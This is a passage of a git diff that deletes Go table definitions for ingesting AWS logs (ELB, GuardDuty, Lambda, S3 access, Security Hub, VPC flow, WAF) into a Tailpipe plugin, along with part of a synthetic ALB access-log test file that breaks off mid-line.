mappers.NewGonxMapper[*rows.ElbAccessLog](elbLogFormat, elbLogFormatNoConnTrace), - Options: []row_source.RowSourceOption{ - artifact_source.WithDefaultArtifactSourceConfig(defaultS3ArtifactConfig), - artifact_source.WithRowPerLine(), - }, - }, - { - // any artifact source - SourceName: constants.ArtifactSourceIdentifier, - Mapper: mappers.NewGonxMapper[*rows.ElbAccessLog](elbLogFormat, elbLogFormatNoConnTrace), - Options: []row_source.RowSourceOption{ - artifact_source.WithRowPerLine(), - }, - }, - } -} - -func (c *ElbAccessLogTable) EnrichRow(row *rows.ElbAccessLog, sourceEnrichmentFields schema.SourceEnrichment) (*rows.ElbAccessLog, error) { - row.CommonFields = sourceEnrichmentFields.CommonFields - - // Record standardization - row.TpID = xid.New().String() - row.TpIngestTimestamp = time.Now() - row.TpTimestamp = row.Timestamp - row.TpDate = row.Timestamp.Truncate(24 * time.Hour) - - row.TpIndex = row.Elb // TODO: #enrichment figure out how to get account id / other index - - row.TpSourceIP = &row.ClientIP - row.TpIps = append(row.TpIps, row.ClientIP) - if row.TargetIP != nil { - row.TpDestinationIP = row.TargetIP - row.TpIps = append(row.TpIps, *row.TargetIP) - } - - if row.DomainName != "" { - row.TpDomains = append(row.TpDomains, row.DomainName) - } - - if row.TargetGroupArn != "" { - row.TpAkas = append(row.TpAkas, row.TargetGroupArn) - } - - return row, nil -} diff --git a/tables/guardduty_finding_table.go b/tables/guardduty_finding_table.go deleted file mode 100644 index 95782c37..00000000 --- a/tables/guardduty_finding_table.go +++ /dev/null @@ -1,86 +0,0 @@ -package tables - -import ( - "time" - - "github.com/rs/xid" - "github.com/turbot/pipe-fittings/utils" - "github.com/turbot/tailpipe-plugin-aws/mappers" - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-aws/sources" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" - "github.com/turbot/tailpipe-plugin-sdk/constants" - "github.com/turbot/tailpipe-plugin-sdk/row_source" - "github.com/turbot/tailpipe-plugin-sdk/schema" - "github.com/turbot/tailpipe-plugin-sdk/table" -) - -const GuardDutyFindingTableIdentifier = "aws_guardduty_finding" - -func init() { - // Register the table, with type parameters: - // 1. row struct - // 2. table config struct - // 3. table implementation - table.RegisterTable[*rows.GuardDutyFinding, *GuardDutyFindingTable]() -} - -// GuardDutyFindingTable - table for GuardDuty Findings -type GuardDutyFindingTable struct{} - -func (c *GuardDutyFindingTable) Identifier() string { - return GuardDutyFindingTableIdentifier -} - -func (c *GuardDutyFindingTable) GetSourceMetadata() []*table.SourceMetadata[*rows.GuardDutyFinding] { - defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ - FileLayout: utils.ToStringPointer("AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/GuardDuty/%{DATA:region_path}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.jsonl.gz"), - } - - return []*table.SourceMetadata[*rows.GuardDutyFinding]{ - { - // S3 artifact source - SourceName: sources.AwsS3BucketSourceIdentifier, - Mapper: &mappers.GuardDutyMapper{}, - Options: []row_source.RowSourceOption{ - artifact_source.WithDefaultArtifactSourceConfig(defaultS3ArtifactConfig), - artifact_source.WithRowPerLine(), - }, - }, - { - SourceName: constants.ArtifactSourceIdentifier, - Mapper: &mappers.GuardDutyMapper{}, - Options: []row_source.RowSourceOption{ - artifact_source.WithRowPerLine(), - }, - }, - } -} - -func (c *GuardDutyFindingTable) EnrichRow(row *rows.GuardDutyFinding, sourceEnrichmentFields schema.SourceEnrichment) (*rows.GuardDutyFinding, error) { - row.CommonFields = sourceEnrichmentFields.CommonFields - row.TpID = xid.New().String() - row.TpTimestamp = row.CreatedAt - row.TpIngestTimestamp = time.Now() - row.TpDate = row.CreatedAt.Truncate(24 * time.Hour) - row.TpIndex = *row.AccountId - - row.TpAkas = append(row.TpAkas, *row.Arn) - - if row.Resource != nil && row.Resource.AccessKeyDetails != nil { - // usernames - if row.Resource.AccessKeyDetails.AccessKeyId != nil { - row.TpUsernames = append(row.TpUsernames, *row.Resource.AccessKeyDetails.AccessKeyId) - } - if row.Resource.AccessKeyDetails.UserName != nil { - row.TpUsernames = append(row.TpUsernames, *row.Resource.AccessKeyDetails.UserName) - } - if row.Resource.AccessKeyDetails.PrincipalId != nil { - row.TpUsernames = append(row.TpUsernames, *row.Resource.AccessKeyDetails.PrincipalId) - } - - } - - return row, nil -} diff --git a/tables/lambda_log_table.go b/tables/lambda_log_table.go deleted file mode 100644 index 3a93fd13..00000000 --- a/tables/lambda_log_table.go +++ /dev/null @@ -1,73 +0,0 @@ -package tables - -import ( - "time" - - "github.com/rs/xid" - "github.com/turbot/pipe-fittings/utils" - "github.com/turbot/tailpipe-plugin-aws/mappers" - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-aws/sources" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" - "github.com/turbot/tailpipe-plugin-sdk/constants" - "github.com/turbot/tailpipe-plugin-sdk/row_source" - "github.com/turbot/tailpipe-plugin-sdk/schema" - "github.com/turbot/tailpipe-plugin-sdk/table" -) - -const LambdaLogTableIdentifier = "aws_lambda_log" - -func init() { - // Register the table, with type parameters: - // 1. row struct - // 2. table config struct - // 3. table implementation - table.RegisterTable[*rows.LambdaLog, *LambdaLogTable]() -} - -type LambdaLogTable struct{} - -func (c *LambdaLogTable) Identifier() string { - return LambdaLogTableIdentifier -} - -func (c *LambdaLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.LambdaLog] { - defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ - FileLayout: utils.ToStringPointer("AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/lambda/%{DATA:function_name}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.log"), - } - - return []*table.SourceMetadata[*rows.LambdaLog]{ - { - // S3 artifact source - SourceName: sources.AwsS3BucketSourceIdentifier, - Mapper: &mappers.LambdaLogMapper{}, - Options: []row_source.RowSourceOption{ - artifact_source.WithDefaultArtifactSourceConfig(defaultS3ArtifactConfig), - artifact_source.WithRowPerLine(), - }, - }, - { - // any artifact source - SourceName: constants.ArtifactSourceIdentifier, - Mapper: &mappers.LambdaLogMapper{}, - Options: []row_source.RowSourceOption{ - artifact_source.WithRowPerLine(), - }, - }, - } -} - -func (c *LambdaLogTable) EnrichRow(row *rows.LambdaLog, sourceEnrichmentFields schema.SourceEnrichment) (*rows.LambdaLog, error) { - row.CommonFields = sourceEnrichmentFields.CommonFields - - // Record standardization - row.TpID = xid.New().String() - row.TpIngestTimestamp = time.Now() - if !row.TpTimestamp.IsZero() { - row.TpTimestamp = *row.Timestamp - row.TpDate = row.Timestamp.Truncate(24 * time.Hour) - } - - return row, nil -} diff --git a/tables/s3_server_access_log_table.go b/tables/s3_server_access_log_table.go deleted file mode 100644 index fcd8b24a..00000000 --- a/tables/s3_server_access_log_table.go +++ /dev/null @@ -1,82 +0,0 @@ -package tables - -import ( - "time" - - "github.com/rs/xid" - - "github.com/turbot/pipe-fittings/utils" - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-aws/sources" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" - "github.com/turbot/tailpipe-plugin-sdk/constants" - "github.com/turbot/tailpipe-plugin-sdk/mappers" - "github.com/turbot/tailpipe-plugin-sdk/row_source" - "github.com/turbot/tailpipe-plugin-sdk/schema" - "github.com/turbot/tailpipe-plugin-sdk/table" -) - -const S3ServerAccessLogTableIdentifier = "aws_s3_server_access_log" -const s3ServerAccessLogFormat = `$bucket_owner $bucket [$timestamp] $remote_ip $requester $request_id $operation $key "$request_uri" $http_status $error_code $bytes_sent $object_size $total_time $turn_around_time "$referer" "$user_agent" $version_id $host_id $signature_version $cipher_suite $authentication_type $host_header $tls_version $access_point_arn $acl_required` -const s3ServerAccessLogFormatReduced = `$bucket_owner $bucket [$timestamp] $remote_ip $requester $request_id $operation $key "$request_uri" $http_status $error_code $bytes_sent $object_size $total_time $turn_around_time "$referer" "$user_agent" $version_id $host_id $signature_version $cipher_suite $authentication_type $host_header $tls_version $access_point_arn` - -func init() { - // Register the table, with type parameters: - // 1. row struct - // 2. table config struct - // 3. table implementation - table.RegisterTable[*rows.S3ServerAccessLog, *S3ServerAccessLogTable]() -} - -type S3ServerAccessLogTable struct{} - -func (c *S3ServerAccessLogTable) Identifier() string { - return S3ServerAccessLogTableIdentifier -} - -func (c *S3ServerAccessLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.S3ServerAccessLog] { - defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ - FileLayout: utils.ToStringPointer("AWSLogs/%{DATA:bucket_name}/%{YEAR:year}-%{MONTHNUM:month}-%{MONTHDAY:day}-%{HOUR:hour}-%{MINUTE:minute}-%{SECOND:second}-%{DATA:suffix}.gz"), - } - - return []*table.SourceMetadata[*rows.S3ServerAccessLog]{ - { - // S3 artifact source - SourceName: sources.AwsS3BucketSourceIdentifier, - Mapper: mappers.NewGonxMapper[*rows.S3ServerAccessLog](s3ServerAccessLogFormat, s3ServerAccessLogFormatReduced), - Options: []row_source.RowSourceOption{ - artifact_source.WithDefaultArtifactSourceConfig(defaultS3ArtifactConfig), - artifact_source.WithRowPerLine(), - }, - }, - { - // any artifact source - SourceName: constants.ArtifactSourceIdentifier, - Mapper: mappers.NewGonxMapper[*rows.S3ServerAccessLog](s3ServerAccessLogFormat, s3ServerAccessLogFormatReduced), - Options: []row_source.RowSourceOption{artifact_source.WithRowPerLine()}, - }, - } -} - -func (c *S3ServerAccessLogTable) EnrichRow(row *rows.S3ServerAccessLog, sourceEnrichmentFields schema.SourceEnrichment) (*rows.S3ServerAccessLog, error) { - // TODO: #validate ensure we have a timestamp field - - // add any source enrichment fields - row.CommonFields = sourceEnrichmentFields.CommonFields - - // Record standardization - row.TpID = xid.New().String() - row.TpIngestTimestamp = time.Now() - row.TpTimestamp = row.Timestamp - row.TpDate = row.Timestamp.Truncate(24 * time.Hour) - row.TpIndex = row.Bucket // TODO: #enrichment this would ideally be the AccountID, how to obtain? - - // IPs - row.TpSourceIP = &row.RemoteIP - row.TpIps = append(row.TpIps, row.RemoteIP) - - row.TpUsernames = append(row.TpUsernames, row.Requester, row.BucketOwner) - - return row, nil -} diff --git a/tables/securityhub_finding_table.go b/tables/securityhub_finding_table.go deleted file mode 100644 index d3086f78..00000000 --- a/tables/securityhub_finding_table.go +++ /dev/null @@ -1,73 +0,0 @@ -package tables - -import ( - "time" - - "github.com/rs/xid" - "github.com/turbot/pipe-fittings/utils" - "github.com/turbot/tailpipe-plugin-aws/mappers" - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-aws/sources" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" - "github.com/turbot/tailpipe-plugin-sdk/constants" - "github.com/turbot/tailpipe-plugin-sdk/row_source" - "github.com/turbot/tailpipe-plugin-sdk/schema" - "github.com/turbot/tailpipe-plugin-sdk/table" -) - -const SecurityHubFindingTableIdentifier = "aws_securityhub_finding" - -// register the table from the package init function -func init() { - table.RegisterTable[*rows.SecurityHubFinding, *SecurityHubFindingTable]() -} - -type SecurityHubFindingTable struct{} - -func (c *SecurityHubFindingTable) Identifier() string { - return SecurityHubFindingTableIdentifier -} - -func (c *SecurityHubFindingTable) GetSourceMetadata() []*table.SourceMetadata[*rows.SecurityHubFinding] { - defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ - FileLayout: utils.ToStringPointer("AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/SecurityHub/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz"), - } - - return []*table.SourceMetadata[*rows.SecurityHubFinding]{ - { - // S3 artifact source - SourceName: sources.AwsS3BucketSourceIdentifier, - Mapper: &mappers.SecurityHubFindingMapper{}, - Options: []row_source.RowSourceOption{ - artifact_source.WithDefaultArtifactSourceConfig(defaultS3ArtifactConfig), - }, - }, - { - SourceName: constants.ArtifactSourceIdentifier, - Mapper: &mappers.SecurityHubFindingMapper{}, - }, - } -} - -func (c *SecurityHubFindingTable) EnrichRow(row *rows.SecurityHubFinding, sourceEnrichmentFields schema.SourceEnrichment) (*rows.SecurityHubFinding, error) { - row.CommonFields = sourceEnrichmentFields.CommonFields - - row.TpID = xid.New().String() - row.TpIngestTimestamp = time.Now() - - for _, resource := range row.Resources { - newAkas := awsAkasFromArn(*resource) - row.TpAkas = append(row.TpAkas, newAkas...) - } - - if row.Time != nil { - row.TpTimestamp = *row.Time - row.TpDate = row.Time.Truncate(24 * time.Hour) - } - if row.Account != nil { - row.TpIndex = *row.Account - } - - return row, nil -} diff --git a/tables/vpc_flow_log_table.go b/tables/vpc_flow_log_table.go deleted file mode 100644 index ed29a255..00000000 --- a/tables/vpc_flow_log_table.go +++ /dev/null @@ -1,121 +0,0 @@ -package tables - -import ( - "time" - - "github.com/rs/xid" - "github.com/turbot/pipe-fittings/utils" - "github.com/turbot/tailpipe-plugin-aws/mappers" - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-aws/sources" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" - "github.com/turbot/tailpipe-plugin-sdk/constants" - "github.com/turbot/tailpipe-plugin-sdk/row_source" - "github.com/turbot/tailpipe-plugin-sdk/schema" - "github.com/turbot/tailpipe-plugin-sdk/table" -) - -const VpcFlowLogTableIdentifier = "aws_vpc_flow_log" - -func init() { - // 1. row struct - // 2. input format struct - // 3. table implementation - table.RegisterTableFormat[*rows.VpcFlowLog, *VpcFlowLogTableFormat, *VpcFlowLogTable]() -} - -// VpcFlowLogTable - table for VPC Flow Logs -type VpcFlowLogTable struct { - table.TableWithFormatImpl[*VpcFlowLogTableFormat] -} - -func (c *VpcFlowLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.VpcFlowLog] { - fields := DefaultFlowLogFields - // if Format was provided in config, it will have been populated by the factory - if c.Format != nil { - fields = c.Format.Fields - } - - defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ - FileLayout: utils.ToStringPointer("AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/vpcflowlogs/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.gz"), - } - - return []*table.SourceMetadata[*rows.VpcFlowLog]{ - { - // S3 artifact source - SourceName: sources.AwsS3BucketSourceIdentifier, - Mapper: mappers.NewVpcFlowLogMapper(fields), - Options: []row_source.RowSourceOption{ - artifact_source.WithDefaultArtifactSourceConfig(defaultS3ArtifactConfig), - artifact_source.WithRowPerLine(), - }, - }, - { - // any artifact source - SourceName: constants.ArtifactSourceIdentifier, - Mapper: mappers.NewVpcFlowLogMapper(fields), - Options: []row_source.RowSourceOption{ - artifact_source.WithRowPerLine(), - }, - }, - } -} - -// Identifier implements table.Table -func (c *VpcFlowLogTable) Identifier() string { - return VpcFlowLogTableIdentifier -} - -// EnrichRow implements table.Table -func (c *VpcFlowLogTable) EnrichRow(row *rows.VpcFlowLog, sourceEnrichmentFields schema.SourceEnrichment) (*rows.VpcFlowLog, error) { - // initialize the enrichment fields to any fields provided by the source - row.CommonFields = sourceEnrichmentFields.CommonFields - - // Record standardization - row.TpID = xid.New().String() - - // TODO is source type actually the source, i.e compressed file source etc> - // should these all be filled in by the source??? - row.TpSourceType = c.Identifier() - //row.TpSourceName = ??? - //row.TpSourceLocation = ??? - row.TpIngestTimestamp = time.Now() - - // Hive fields - if row.AccountID != nil { - row.TpIndex = *row.AccountID - } - - // populate the year, month, day from start time - if row.Timestamp != nil { - // convert to date in format yy-mm-dd - row.TpDate = row.Timestamp.In(time.UTC).Truncate(24 * time.Hour) - row.TpTimestamp = *row.Timestamp - } else if row.Start != nil { - // convert to date in format yy-mm-dd - // TODO is Start unix millis?? if so why do we convert it for TpTimestamp - row.TpDate = time.UnixMilli(*row.Start).Truncate(24 * time.Hour) - - //convert from unis seconds to milliseconds - row.TpTimestamp = time.Unix(0, int64(*row.Start*1000)*int64(time.Millisecond)) - } - - //row.TpAkas = ??? - //row.TpTags = ??? - //row.TpDomains = ??? - //row.TpEmails = ??? - //row.TpUsernames = ??? - - // ips - if row.SrcAddr != nil { - row.TpSourceIP = row.SrcAddr - row.TpIps = append(row.TpIps, *row.SrcAddr) - } - if row.DstAddr != nil { - row.TpDestinationIP = row.DstAddr - row.TpIps = append(row.TpIps, *row.DstAddr) - } - - return row, nil -} diff --git a/tables/vpc_flow_log_table_format.go b/tables/vpc_flow_log_table_format.go deleted file mode 100644 index fb6441c7..00000000 --- a/tables/vpc_flow_log_table_format.go +++ /dev/null @@ -1,36 +0,0 @@ -package tables - -var DefaultFlowLogFields = []string{ - "version", - "account-id", - "interface-id", - "srcaddr", - "dstaddr", - "srcport", - "dstport", - "protocol", - "packets", - "bytes", - "start", - "end", - "action", - "log-status", -} - -type VpcFlowLogTableFormat struct { - // the fields to extract from the flow log - Fields []string `hcl:"fields,optional"` -} - -func (c VpcFlowLogTableFormat) Validate() error { - // set default fields if none are specified - if len(c.Fields) == 0 { - c.Fields = DefaultFlowLogFields - } - - return nil -} - -func (VpcFlowLogTableFormat) Identifier() string { - return VpcFlowLogTableIdentifier -} diff --git a/tables/waf_traffic_log_table.go b/tables/waf_traffic_log_table.go deleted file mode 100644 index 0a88cbd8..00000000 --- a/tables/waf_traffic_log_table.go +++ /dev/null @@ -1,84 +0,0 @@ -package tables - -import ( - "strings" - "time" - - "github.com/rs/xid" - - "github.com/turbot/pipe-fittings/utils" - "github.com/turbot/tailpipe-plugin-aws/mappers" - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-aws/sources" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" - "github.com/turbot/tailpipe-plugin-sdk/constants" - "github.com/turbot/tailpipe-plugin-sdk/row_source" - "github.com/turbot/tailpipe-plugin-sdk/schema" - "github.com/turbot/tailpipe-plugin-sdk/table" -) - -const WaftTrafficLogTableIdentifier = "aws_waf_traffic_log" - -func init() { - // Register the table, with type parameters: - // 1. row struct - // 2. table config struct - // 3. table implementation - table.RegisterTable[*rows.WafTrafficLog, *WafTrafficLogTable]() -} - -// WafTrafficLogTable - table for Waf traffic logs -type WafTrafficLogTable struct{} - -func (c *WafTrafficLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.WafTrafficLog] { - // the default file layout for Waf traffic logs in S3 - defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ - FileLayout: utils.ToStringPointer("AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/WAFLogs/%{DATA:log_group_name}/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{HOUR:hour}/%{DATA}.gz"), - } - - return []*table.SourceMetadata[*rows.WafTrafficLog]{ - { - // S3 artifact source - SourceName: sources.AwsS3BucketSourceIdentifier, - Mapper: &mappers.WafMapper{}, - Options: []row_source.RowSourceOption{ - artifact_source.WithDefaultArtifactSourceConfig(defaultS3ArtifactConfig), - artifact_source.WithRowPerLine(), - }, - }, - { - // any artifact source - SourceName: constants.ArtifactSourceIdentifier, - Mapper: &mappers.WafMapper{}, - Options: []row_source.RowSourceOption{artifact_source.WithRowPerLine()}, - }, - } -} - -func (c *WafTrafficLogTable) Identifier() string { - return WaftTrafficLogTableIdentifier -} - -// EnrichRow implements table.Table -func (c *WafTrafficLogTable) EnrichRow(row *rows.WafTrafficLog, sourceEnrichmentFields schema.SourceEnrichment) (*rows.WafTrafficLog, error) { // initialize the enrichment fields to any fields provided by the source - row.CommonFields = sourceEnrichmentFields.CommonFields - - // Record standardization - row.TpID = xid.New().String() - row.TpTimestamp = *row.Timestamp - row.TpIngestTimestamp = time.Now() - row.TpDate = row.Timestamp.Truncate(24 * time.Hour) - - // TODO: #enrichment figure out correct field for TpIndex - // Hive fields - // Check if row.HttpSourceId is not nil before dereferencing - if row.HttpSourceId != nil { - row.TpIndex = strings.ReplaceAll(*row.HttpSourceId, "/", `_`) - } else { - // Handle the case where HttpSourceId is nil, if needed - row.TpIndex = "" // or assign a default value if desired - } - - return row, nil -} diff --git a/tests/alb-test.log b/tests/alb-test.log deleted file mode 100644 index 48cdc096..00000000 --- a/tests/alb-test.log +++ /dev/null @@ -1,10000 +0,0 @@ -https 2024-11-01T00:00:00.000000Z prod-web-alb 241.47.210.35:52624 10.0.64.106:443 0.020459 0.489612 0.003218 404 404 973 5990 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b790-388aaef9d0cc499c84d20d07" "prod-web-alb.example.com" "-" 3 2024-11-01T00:00:00.000000Z "forward" "-" "-" "10.0.64.106:443" "404" "-" "-" -https 2024-11-01T00:00:01.133915Z prod-web-alb 60.93.163.4:28176 10.0.245.168:443 0.001681 0.353852 0.008242 200 200 546 1074 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b791-1ee8cdbdab2546cba89f5801" "prod-web-alb.example.com" "-" 1 2024-11-01T00:00:01.133915Z "forward" "-" "-" "10.0.245.168:443" "200" "-" "-" -http 2024-11-01T00:00:02.602543Z staging-alb 185.181.2.252:59466 133.231.59.228:443 0.045986 0.249708 0.001000 403 403 16 3694 "POST /administrator HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b792-4057155ab5cc4850b0fdf853" "-" "-" 4 2024-11-01T00:00:02.602543Z "forward" "-" "-" "133.231.59.228:443" "403" "-" "-" -https 2024-11-01T00:00:03.260505Z prod-web-alb 118.180.25.37:28778 10.0.254.171:443 0.018763 0.423066 0.038176 200 200 1 6970 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b793-fc5a8d562db14f309af3f491" "prod-web-alb.example.com" "-" 8 2024-11-01T00:00:03.260505Z "forward" "-" "-" "10.0.254.171:443" "200" "-" "-" -https 2024-11-01T00:00:04.130191Z staging-alb 236.174.35.232:18587 10.189.102.33:80 0.060734 0.558535 0.099738 200 200 203 9643 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b794-66104a2cb95b4ec48368573b" "staging-alb.example.com" "-" 10 2024-11-01T00:00:04.130191Z "forward" "-" "-" "10.189.102.33:80" "200" "-" "-" -http 2024-11-01T00:00:05.704421Z staging-alb 187.249.187.183:51252 89.136.170.239:8080 0.003362 0.483700 0.047135 200 200 273 11185 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b795-8eb7c41efa43422faf5a14ec" "staging-alb.example.com" "-" 0 2024-11-01T00:00:05.704421Z "forward" "-" "-" "89.136.170.239:8080" "200" "-" "-" -https 2024-11-01T00:00:06.529574Z staging-alb 169.39.23.56:11002 157.194.35.129:80 0.111311 0.203541 0.044249 200 200 746 14031 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b796-6590f2e393814eb0b653df6d" "staging-alb.example.com" "-" 6 2024-11-01T00:00:06.529574Z "forward" "-" "-" "157.194.35.129:80" "200" "-" "-" -https 2024-11-01T00:00:07.448815Z staging-alb 193.158.213.228:20429 216.106.234.114:80 0.029834 0.658993 0.103315 200 200 308 11094 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b797-ae73e89cdcad4cf184e2b989" "staging-alb.example.com" "-" 7 2024-11-01T00:00:07.448815Z "forward" "-" "-" "216.106.234.114:80" "200" "-" "-" -https 2024-11-01T00:00:08.938658Z staging-alb 50.86.225.8:33933 170.17.10.193:443 0.137132 0.294341 0.073129 200 200 132 5686 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b798-8cd2bd262c4542eab7e9ba8e" "staging-alb.example.com" "-" 4 2024-11-01T00:00:08.938658Z "forward" "-" "-" "170.17.10.193:443" "200" "-" "-" -http 2024-11-01T00:00:10.486028Z staging-alb 196.50.143.41:26168 251.212.251.218:80 0.080133 0.401843 0.082267 404 404 956 9673 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b79a-f2130a4cd7224d5fb19fd492" "staging-alb.example.com" "-" 6 2024-11-01T00:00:10.486028Z "forward" "-" "-" "251.212.251.218:80" "404" "-" "-" -https 2024-11-01T00:00:11.547814Z prod-api-alb 188.72.235.203:26067 10.0.205.142:443 0.007232 0.339578 0.054620 200 200 392 7342 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b79b-24610b8267d048c9aa9ae3a2" "prod-api-alb.example.com" "-" 6 2024-11-01T00:00:11.547814Z "forward" "-" "-" "10.0.205.142:443" "200" "-" "-" -https 2024-11-01T00:00:13.203414Z prod-web-alb 186.40.22.60:20342 10.0.75.16:443 0.041007 0.453504 0.084790 404 404 817 5265 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b79d-00b0e7bbfea64da3af187766" "prod-web-alb.example.com" "-" 6 2024-11-01T00:00:13.203414Z "forward" "-" "-" "10.0.75.16:443" "404" "-" "-" -https 2024-11-01T00:00:13.538149Z prod-api-alb 110.184.184.15:24837 10.0.3.153:443 0.034021 0.224298 0.021518 200 200 496 14565 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b79d-167dc753e4ea4300b394774a" "prod-api-alb.example.com" "-" 7 2024-11-01T00:00:13.538149Z "forward" "-" "-" "10.0.3.153:443" "200" "-" "-" -http 2024-11-01T00:00:14.078793Z staging-alb 30.87.119.104:58284 77.83.255.13:443 0.097403 0.116448 0.103008 200 200 76 12191 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b79e-bd4b9f37468549a39fbe4bfb" 